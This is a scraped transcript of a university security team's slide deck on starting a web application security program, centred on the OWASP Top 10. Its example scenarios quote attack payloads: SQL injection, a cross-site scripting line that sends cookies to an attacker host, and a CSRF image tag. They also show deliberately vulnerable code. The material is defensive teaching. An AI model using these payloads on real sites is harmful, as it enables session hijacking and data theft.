Web Application Security Program What it means - PowerPoint PPT Presentation

Loading...

PPT – Web Application Security Program What it means PowerPoint presentation | free to download - id: 6cbbae-ZGM5Z



Loading


The Adobe Flash plugin is needed to view this content

Get the plugin now

View by Category
About This Presentation
Title:

Web Application Security Program What it means

Description:

... Threat Modeling Standards / Guidelines Consistent development practices that includes security Web Application Firewalls Security is a journey, ... – PowerPoint PPT presentation

Number of Views:50
Avg rating:3.0/5.0
Slides: 71
Provided by: Office128
Learn more at: http://www.bestitdocuments.com
Category:

less

Write a Comment
User Comments (0)
Transcript and Presenter's Notes

Title: Web Application Security Program What it means


1
Web Application Security ProgramWhat it means
Why you need it
  • Presenters
  • Anil Ninan Jeremy Heydman Jim Nelson

2
Applications are under attack
  • 75 of attacks are at the Application Level -
    Gartner
  • 95 of all vulnerabilities are in software - NIST
  • 7 out of 10 web sites have serious
    vulnerabilities - White Hat Security
  • 62 of organizations have experienced a security
    breach in the past 12 months - Forrester

3
The Trend
Source CENZIC
4
Web Application Vulnerability Trend..
Source IBM
5
Peers In the Headlines
June 2005 University of Southern California -
270,000
December 2006 University of California - 800,000

December 2006 University of Colorado 17,500
6
In the Headlines
May 2009 8 Million Hackers break into Virginia
Department of Health Professions Web Site
(Washington Post)
January 2009 94 Million Hackers breach
Heartland Payment Credit Card System (USA Today)
2009
7
What is Web Application Security?
  • Antivirus
  • Vulnerability Scans
  • Server Security

Web Application Security is not specifically
  • Firewall/DMZ
  • IDS / IPS
  • Patch Management
  • Static Analysis
  • Dynamic Analysis
  • Web Application Firewall
  • Training for Developers
  • Secure Development Life Cycle
  • Manual/Peer Code Review

Web Application Security Safeguards
8
Web Application Security Misconceptions
  • The Firewall protects my web application
  • SSL secures my site
  • The IDS protects my web server and database

9
Simplified Web Application Architecture
The Enterprise
Databases
Web Server
80
Graphics Source IBM
10
What can be done?.... Program Example
11
Education Strategic Planning
  • Train Development Staff
  • Developers are trained to provide functionality
    deliver on-time
  • Perform Inventory of Web Applications
  • Need to know what is out there
  • Create a registration system
  • Hold Vendors Accountable
  • Create a Business Risk Profile
  • Perform risk assessments to identify high risk
    assets

12
Security Testing
  • Dynamic Analysis
  • Web Application Scanner
  • Static Analysis
  • Tool Based Code Review
  • Manual Code Review
  • Peer Review

13
Development
  • Secure Software Development Life Cycle
  • Build Security Touch Points in the Development
    Process
  • Threat Modeling
  • Identify relevant threats, vulnerabilities and
    counter measures
  • Standards and Compliance
  • Secure Coding Best Practices, Standards,
    Guidelines etc..
  • MGDPA, FERPA, PCI etc..

14
Deployment
  • Vulnerability Assessment
  • Find the Vulnerabilities
  • Penetration Testing
  • Exploit the vulnerabilities
  • Web Application Firewall
  • Buys time to fix the vulnerability

15
Building Security into SDLC Touch-points
Risk Threat x Vulnerability x Cost
What do we need to test, And how
Code review tools
Iterative approach
Security requirements
Static analysis (tools)
Penetration testing
Design Review
Risk analysis
Risk-based security tests
Code
Requirements and use cases
Design
Test plans
Test results
Field feedback
Code Review
Source OWASP
16
OWASP Top 10
  • Arguably the place to start for learning about
    application security risks.
  • Updated for 2010
  • What is OWASP?
  • http//www.owasp.org
  • Open Web Application Security Project, a
    non-profit worldwide charitable organization
    focused on improving the security of application
    software.

17
OWASP Top 10
  • Definition
  • Example Attack Scenario(s)
  • Impact
  • Prevention

18
A1. Injection Flaws
  • Definition
  • Injection flaws occur when un-trusted data is
    sent to an interpreter as part of a command or
    query. The attackers hostile data can trick the
    interpreter into executing unintended commands or
    accessing unauthorized data.
  • Various flavors of injection flaws SQL, OS, LDAP
    to name a few.

19
A1. Injection Flaws
  • Example Attack Scenario
  • String query
  • "SELECT FROM accounts WHERE custID'"
    request.getParameter("id") "'"
  • The attacker modifies the id parameter in their
    browser to send ' or '1''1. This changes the
    meaning of the query to return all the records
    from the accounts database, instead of only the
    intended customers.
  • http//example.com/app/accountView?id' or '1''1

20
A1. Injection Flaws
  • Impact (Severe)
  • Data loss or corruption
  • Lack of accountability
  • Denial of access
  • In certain cases could lead to complete takeover
    of host

21
A1. Injection Flaws
  • Prevention
  • Do not trust data from clients, validate all
    input.
  • Use parameterized APIs whenever possible, e.g.
    SQL prepared statements
  • If parameterized API not available, use escaping
    routines before sending data to the
    interpreter/shell.

22
A2. Cross-Site Scripting (XSS)
  • Definition
  • XSS flaws occur whenever an application takes
    un-trusted data and sends it to a web browser
    without proper validation and escaping. XSS
    allows attackers to execute scripts in the
    victims browser which can hijack user sessions,
    deface web sites, or redirect the user to
    malicious sites.
  • Three types stored, reflected, and DOM based
    XSS.
  • The most prevalent web application security flaw.

23
A2. Cross-Site Scripting (XSS)
  • Example Attack Scenario
  • (String) page
  • "ltinput name'creditcard' type 'TEXT' value'"
    request.getParameter("CC") "'gt"
  • The attacker modifies the 'CC' parameter in their
    browser to 'gtltscriptgtdocument.location'http//ww
    w.attacker.com/cgi-bin/cookie.cgi?foo'document.c
    ookielt/scriptgt'.
  • This causes the victims session ID to be sent to
    the attackers website, allowing the attacker to
    hijack the users current session.

24
A2. Cross-Site Scripting (XSS)
  • Impact (Moderate)
  • Attacker can execute scripts in a victims
    browser, which can open the door to
  • Hijacking the users session
  • Defacing the web site
  • Insertion of hostile content
  • Redirecting the user to another site
  • Attempting to install malware on the users
    machine

25
A2. Cross-Site Scripting (XSS)
  • Prevention
  • Escape/encode all data that is written to a web
    page.
  • ltscriptgtalert('got you')lt/scriptgt (raw html)
  • ltscriptgtalert('got you')lt/scriptgt
    (encoded html)
  • Do not trust data from clients, validate all
    input.

26
A3. Broken Authentication and Session Management
  • Definition
  • Application functions related to authentication
    and session management are often not implemented
    correctly, allowing attackers to compromise
    passwords, keys, session tokens, or exploit other
    implementation flaws to assume other users
    identities.

27
A3. Broken Authentication and Session Management
  • Example Attack Scenarios
  • Applications timeouts arent set properly. User
    uses a public computer to access site. Instead of
    selecting logout the user simply closes the
    browser tab and walks away. Attacker uses the
    same browser an hour later, and that browser is
    still authenticated.
  • Attacker gains access to the systems password
    database. User passwords are not encrypted,
    exposing every users password to the attacker.

28
A3. Broken Authentication and Session Management
  • Impact (Severe)
  • Such flaws may allow some or even all accounts to
    be attacked.
  • Once successful, the attacker can do anything the
    victim could do.
  • Privileged accounts are frequently targeted.

29
A3. Broken Authentication and Session Management
  • Prevention
  • A single set of strong authentication and session
    management controls. Such controls should strive
    to
  • Meet the requirements defined in OWASPs
    Application Security Verification Standard(ASVS).
  • Have a simple interface for developers. Consider
    the ESAPI Authenticator and User APIs as good
    examples to emulate, use, or build upon.
  • Strong efforts should also be made to avoid XSS
    flaws which can be used to steal session IDs. See
    A2.

30
A4. Insecure Direct Object References
  • Definition
  • A direct object reference occurs when a developer
    exposes a reference to an internal implementation
    object, such as a file, directory, or database
    key. Without an access control check or other
    protection, attackers can manipulate these
    references to access unauthorized data.

31
A4. Insecure Direct Object References
  • Example Attack Scenario
  • String query "SELECT FROM accts WHERE account
    ?"
  • PreparedStatement pstmtconnection.prepareStatemen
    t(query , )
  • pstmt.setString( 1, request.getparameter("acct"))
  • ResultSet results pstmt.executeQuery( )
  • The attacker simply modifies the 'acct' parameter
    in their browser to send whatever account number
    they want. If not verified, the attacker can
    access any users account, instead of only the
    intended customers account.
  • http//example.com/app/accountInfo?acctnotmyacct

32
A4. Insecure Direct Object References
  • Impact (Moderate)
  • Such flaws can compromise all the data that can
    be referenced by the parameter.
  • Unless the namespace is sparse, its easy for an
    attacker to access all available data of that
    type.

33
A4. Insecure Direct Object References
  • Prevention
  • Use per-user or session indirect object
    references. This prevents attackers from directly
    targeting unauthorized resources by knowing
    actual keys.
  • Check access. Each use of a direct object
    reference from an untrusted source must include
    an access control check to ensure the user is
    authorized for the requested object.

34
A5. Cross-Site Request Forgery (CSRF)
  • Definition
  • A CSRF attack forces a logged-on victims browser
    to send a forged HTTP request, including the
    victims session cookie and any other
    automatically included authentication
    information, to a vulnerable web application.
  • This allows the attacker to force the victims
    browser to generate requests the vulnerable
    application thinks are legitimate requests from
    the victim.

35
A5. Cross-Site Request Forgery (CSRF)
  • Example Attack Scenario
  • The application allows a user to submit a state
    changing request that does not include anything
    secret.
  • http//example.com/app/transferFunds?amount150de
    stinationAccount467
  • The attacker constructs a request that will
    transfer money from the victims account to their
    account, and then embeds this attack in an image
    request or iframe stored on various sites under
    the attackers control.
  • ltimgsrc"http//example.com/app/transferFunds?amou
    nt1500destinationAccountattackersAcctwidth"0
    " height"0" /gt
  • If the victim visits any of these sites while
    already authenticated to example.com, any forged
    requests will include the users session info,
    inadvertently authorizing the request.

36
A5. Cross-Site Request Forgery (CSRF)
  • Impact (Moderate)
  • Attackers can cause victims to change any data
    the victim is allowed to change or perform many
    function the victim is authorized to use.

37
A5. Cross-Site Request Forgery (CSRF)
  • Prevention
  • Preventing CSRF requires the inclusion of a
    unpredictable token in the body or URL of each
    HTTP request. Such tokens should at a minimum be
    unique per user session, but can also be unique
    per request.
  • The preferred option is to include the unique
    token in a hidden field. This causes the value to
    be sent in the body of the HTTP request, avoiding
    its inclusion in the URL, which is subject to
    exposure.
  • OWASPs CSRF Guardcan be used to automatically
    include such tokens in your Java EE, .NET, or PHP
    application. OWASPs ESAPI includes token
    generators and validators that developers can use
    to protect their transactions.

38
A6. Security Misconfiguration
  • Definition
  • Good security requires having a secure
    configuration defined and deployed for the
    application, frameworks, application server, web
    server, database server, and platform.
  • All these settings should be defined,
    implemented, and maintained as many are not
    shipped with secure defaults. This includes
    keeping all software up to date, including all
    code libraries used by the application.

39
A6. Security Misconfiguration
  • Example Attack Scenarios
  • Scenario 1 Your application relies on a
    powerful framework like Struts or Spring. XSS
    flaws are found in these framework components you
    rely on. An update is released to fix these flaws
    but you dont update your libraries. Until you
    do, attackers can easily find and exploit these
    flaw in your app.
  • Scenario 2 The app server admin console is
    automatically installed and not removed. Default
    accounts arent changed. Attacker discovers the
    standard admin pages are on your server, logs in
    with default passwords, and takes over.

40
A6. Security Misconfiguration
  • Example Attack Scenarios (cont.)
  • Scenario 3 Directory listing is not disabled on
    your server. Attacker discovers she can simply
    list directories to find any file. Attacker finds
    and downloads all your compiled Java classes,
    which she reverses to get all your custom code.
    She then find a serious access control flaw in
    your application.
  • Scenario 4 App server configuration allows
    stack traces to be returned to users, potentially
    exposing underlying flaws. Attackers love the
    extra information error messages provide.

41
A6. Security Misconfiguration
  • Impact (Moderate)
  • Such flaws frequently give attackers unauthorized
    access to some system data or functionality.
  • Occasionally, such flaws result in a complete
    system compromise.

42
A6. Security Misconfiguration
  • Prevention
  • A repeatable hardening process that makes it fast
    and easy to deploy another environment that is
    properly locked down. Development, QA, and
    production environments should all be configured
    identically. This process should be automated to
    minimize the effort required to setup a new
    secure environment.
  • A process for keeping abreast of and deploying
    all new software updates and patches in a timely
    manner to each deployed environment. This needs
    to include all code libraries as well, which are
    frequently overlooked.

43
A6. Security Misconfiguration
  • Prevention (cont.)
  • A strong application architecture that provides
    good separation and security between components.
  • Consider running scans and doing audits
    periodically to help detect future
    misconfigurations or missing patches.

44
A7. Insecure Cryptographic Storage
  • Definition
  • Many web applications do not properly protect
    sensitive data, such as credit cards, SSNs, and
    authentication credentials, with appropriate
    encryption or hashing. Attackers may steal or
    modify such weakly protected data to conduct
    identity theft, credit card fraud, or other
    crimes.

45
A7. Insecure Cryptographic Storage
  • Example Attack Scenarios
  • Scenario 1 An application encrypts credit cards
    in a database to prevent exposure to end users.
    However, the database is set to automatically
    decrypt queries against the credit card columns,
    allowing a SQL injection flaw to retrieve all the
    credit cards in clear text. The system should
    have been configured to allow only back end
    applications to decrypt them, not the front end
    web application.
  • Scenario 2 A backup tape is made of encrypted
    health records, but the encryption key is on the
    same backup. The tape never arrives at the backup
    center.

46
A7. Insecure Cryptographic Storage
  • Example Attack Scenarios (cont.)
  • Scenario 3 The password database uses unsalted
    hashes to store everyones passwords. A file
    upload flaw allows an attacker to retrieve the
    password file. All the unsalted hashes can be
    brute forced in 4 weeks, while properly salted
    hashes would have taken over 3000 years.

47
A7. Insecure Cryptographic Storage
  • Impact (Moderate)
  • Failure frequently compromises all data that
    should have been encrypted. Typically this
    information includes sensitive data such as
    health records, credentials, personal data,
    credit cards, etc.

48
A7. Insecure Cryptographic Storage
  • Prevention
  • Considering the threats you plan to protect this
    data from (e.g., insider attack, external user),
    make sure you encrypt all such data at rest in a
    manner that defends against these threats.
  • Ensure offsite backups are encrypted, but the
    keys are managed and backed up separately.
  • Ensure appropriate strong standard algorithms and
    strong keys are used, and key management is in
    place.
  • Ensure passwords are hashed with a strong
    standard algorithm and an appropriate salt is
    used.
  • Ensure all keys and passwords are protected from
    unauthorized access.

49
A8. Failure to Restrict URL Access
  • Definition
  • Many web applications check URL access rights
    before rendering protected links and buttons.
    However, applications need to perform similar
    access control checks each time these pages are
    accessed, or attackers will be able to forge URLs
    to access these hidden pages anyway.

50
A8. Failure to Restrict URL Access
  • Example Attack Scenario
  • The attacker simply force browses to target URLs.
    Consider the following URLs which are both
    supposed to require authentication. Admin rights
    are also required for access to the
    admin_getappInfo page.
  • http//example.com/app/getappInfo
  • http//example.com/app/admin_getappInfo
  • If the attacker is not authenticated, and access
    to either page is granted, then unauthorized
    access was allowed. If an authenticated,
    non-admin, user is allowed to access the
    admin_getappInfo page, this is a flaw, and may
    lead the attacker to more improperly protected
    admin pages. Such flaws are frequently introduced
    when links and buttons are simply not displayed
    to unauthorized users, but the application fails
    to protect the pages they target.

51
A8. Failure to Restrict URL Access
  • Impact (Moderate)
  • Such flaws allow attackers to access unauthorized
    functionality.
  • Administrative functions are key targets for this
    type of attack.

52
A8. Failure to Restrict URL Access
  • Prevention
  • Select an approach for requiring proper
    authentication and proper authorization for each
    page. Frequently, such protection is provided by
    one or more components external to the
    application code. Regardless of the mechanism(s),
    all of the following are recommended
  • The authentication and authorization policies be
    role based, to minimize the effort required to
    maintain these policies.
  • The policies should be highly configurable, in
    order to minimize any hard coded aspects of the
    policy.
  • The enforcement mechanism(s) should deny all
    access by default, requiring explicit grants to
    specific users and roles for access to every page
  • If the page is involved in a workflow, check to
    make sure the conditions are in the proper state
    to allow access.

53
A9. Insufficient Transport Layer Protection
  • Definition
  • Applications frequently fail to authenticate,
    encrypt, and protect the confidentiality and
    integrity of sensitive network traffic. When they
    do, they sometimes support weak algorithms, use
    expired or invalid certificates, or do not use
    them correctly.

54
A9. Insufficient Transport Layer Protection
  • Example Attack Scenarios
  • Scenario 1 A site simply doesnt use SSL for
    all pages that require authentication. Attacker
    simply monitors network traffic (like an open
    wireless or their neighborhood cable modem
    network), and observes an authenticated victims
    session cookie. Attacker then replays this cookie
    and takes over the users session.
  • Scenario 2 A site has improperly configured SSL
    certificate which causes browser warnings for its
    users. Users have to accept such warnings and
    continue, in order to use the site. This causes
    users to get accustomed to such warnings.

55
A9. Insufficient Transport Layer Protection
  • Impact (Moderate)
  • Such flaws expose individual users data and can
    lead to account theft.
  • If an admin account was compromised, the entire
    site could be exposed.
  • Poor SSL setup can also facilitate phishing and
    MITM attacks.

56
A9. Insufficient Transport Layer Protection
  • Prevention
  • Providing proper transport layer protection can
    affect the site design. Its easiest to require
    SSL for the entire site. For performance reasons,
    some sites use SSL only on private pages. Others
    use SSL only on critical pages, but this can
    expose session IDs and other sensitive data. At a
    minimum, do all of the following
  • Require SSL for all sensitive pages. Non-SSL
    requests to these pages should be redirected to
    the SSL page.
  • Set the secure flag on all sensitive cookies.
  • Configure your SSL provider to only support
    strong (e.g., FIPS 140-2 compliant) algorithms.
  • Ensure your certificate is valid, not expired,
    not revoked, and matches all domains used by the
    site.
  • Backend and other connections should also use SSL
    or other encryption technologies.

57
A10. Unvalidated Redirects and Forwards
  • Definition
  • Web applications frequently redirect and forward
    users to other pages and websites, and use
    untrusted data to determine the destination
    pages. Without proper validation, attackers can
    redirect victims to phishing or malware sites, or
    use forwards to access unauthorized pages.
  • A favorite target of phishers trying to gain the
    users trust

58
A10. Unvalidated Redirects and Forwards
  • Example Attack Scenarios
  • Scenario 1 The application has a page called
    redirect.jsp which takes a single parameter
    named url. The attacker crafts a malicious URL
    that redirects users to a malicious site that
    performs phishing and installs malware.
  • http//www.example.com/redirect.jsp?urlevil.co
    m
  • Scenario 2 The application uses forward to
    route requests between different parts of the
    site. To facilitate this, some pages use a
    parameter to indicate where the user should be
    sent if a transaction is successful. In this
    case, the attacker crafts a URL that will pass
    the applications access control check and then
    forward the attacker to an administrative
    function that she would not normally be able to
    access.
  • http//www.example.com/boring.jsp?fwdadmin.jsp

59
A10. Unvalidated Redirects and Forwards
  • Impact
  • Such redirects may attempt to install malware or
    trick victims into disclosing passwords or other
    sensitive information.
  • Unsafe forwards may allow access control bypass.

60
A10. Unvalidated Redirects and Forwards
  • Prevention
  • Safe use of redirects and forwards can be done in
    a number of ways
  • Simply avoid using redirects and forwards, if
    possible.
  • If used, dont involve user parameters in
    calculating the destination. This can usually be
    done.
  • If destination parameters cant be avoided,
    ensure that the supplied value is valid, and
    authorized for the user.

61
Establish the Foundation
  • The 3 Pillars
  • Knowledge
  • We dont know what we dont know
  • Risk Assessment
  • Business Risk - Criticality to operations,
    privacy, etc.
  • Application Vulnerabilities
  • Best-Practices
  • Secure coding practices

62
Establish the Foundation Cont.
  • Knowledge
  • Known vulnerabilities Secure coding practices
  • Perform Risk Assessment
  • Classify Applications Criticality/Security
    Exposure
  • Stop The Bleeding - Identify the Vulnerabilities
  • Static Analysis / Dynamic Analysis / Penetration
    Testing
  • Address high risk applications first -
    Applications facing the internet, apps with
    private data etc.

63
Establish the Foundation
  • Best-Practices (Security Touch-points)
  • Tools Static Dynamic Analysis
  • Process Code Review, Threat Modeling
  • Standards / Guidelines Consistent development
    practices that includes security
  • Web Application Firewalls
  • Security is a journey, not a destination

64
Past and Current Initiatives
  • Pilot FY09
  • Summary Report Pilot Results
  • Training Conducted 2day courses
  • Veracode Security as a Service (Enterprise)
  • Software Security Task Force
  • SMEs define MnSCU specific secure coding
    practices standards/guidelines process
  • Identify short long-term plan / initiatives

65
Discussion Topics
  • How much application development are you doing on
    campus?
  • How much development is out-sourced to a 3rd
    party?
  • Current state? Any processes used to include
    security in your SDLC? If yes, what types of
    practices?
  • What would be your challenges to address web
    application security issues?
  • Training Understanding vulnerabilities, secure
    coding practices, additional skills you would
    need?
  • Buy-in from Management and/or others?
  • Tools additional costs?
  • Other questions?

66
  • Thank You
  • Anil Ninan Jeremy Heydman
  • Security Specialist Technical Lead Analyst
  • Information Security Office Enterprise SW
    Development
  • 651-201-1534 320-223-6264
  • Anil.ninan_at_csu.mnscu.edu Jeremy.heydman_at_csu.mn
    scu.edu
  • Jim Nelson
  • Sr. Consultant (Midwave)
  • Information Security Office
  • 651-201-1566
  • Jim.nelson_at_csu.mnscu.edu

Access more information security training for
campus technical staff and earn CEUs
its.mnscu.edu/security/training/
67
Tools - Static Analysis Vendors
  • Veracode (www.Veracode.com)
  • Fortify (www.Fortify.com)
  • Coverity (www.coverity.com)
  • KlocWork (www.KlocWork.com)
  • Ounce Labs (www.ouncelabs.com)

68
Tools - Dynamic Analysis Vendors
  • IBM - Rational Appscan (www.ibm.com)
  • HP WebInspect (www.hp.com)
  • Ntobjectives NTOSpider (www.ntobjectives.com)
  • Cenzic Hailstorm (www.cenzic.com)
  • Whitehat Security (www.whitehatsec.com)

69
Tools - Web Application Firewall
  • WebDefend - Breach (www.breach.com)
  • ModSecurity - Open Source (www.modsecurity.org)
    support offered by Breach
  • SecureSphere - Imperva (www.imperva.com)
  • Application Security Manager - F5 (www.f5.com)
  • Citrix Application Firewall - Citrix
    (www.citrix.com)
  • Web Security Checkpoint (www.checkpoint.com)
  • Cisco ACE - Cisco (www.cisco.com)
  • Fortify Real-Time Analyzer (www.fortify.com)

70
Resources
  • www.owasp.org
  • OWASP Top 10
  • Web Goat
  • Development Guide
  • Tools
  • www.sans.org
  • SANS TOP 25 Programming Errors
  • www.webappsec.org
  • Web Application Security Consortium
About PowerShow.com